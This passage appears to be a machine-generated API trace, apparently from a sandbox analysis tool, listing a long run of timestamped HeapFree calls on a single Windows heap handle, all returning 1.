HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ff8 | out: hHeap=0x630000) returned 1 [0243.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0244.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8a008 | out: hHeap=0x630000) returned 1 [0244.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ff8 | out: hHeap=0x630000) returned 1 [0244.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f59ff0 | out: hHeap=0x630000) returned 1 [0244.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0244.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0244.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f59ff0 | out: hHeap=0x630000) returned 1 [0244.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0244.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0244.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0244.526] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0244.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0244.535] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0245.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0245.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0245.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0245.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0245.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0245.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0245.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0246.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0246.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0246.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0246.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0246.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0246.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0246.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0246.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0246.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0246.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0246.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.514] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.515] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.519] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.521] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.523] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.708] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.721] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0246.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.202] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.218] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.221] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0247.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0247.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.680] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.682] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.683] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.696] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.698] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.699] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0248.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.249] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.275] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.515] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.519] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.521] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.523] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.525] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.531] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.531] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0249.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.856] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.898] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.903] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0249.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0249.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.060] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.061] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.160] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.161] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.699] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.700] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0250.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.808] HeapFree (in: hHeap=0x630000, 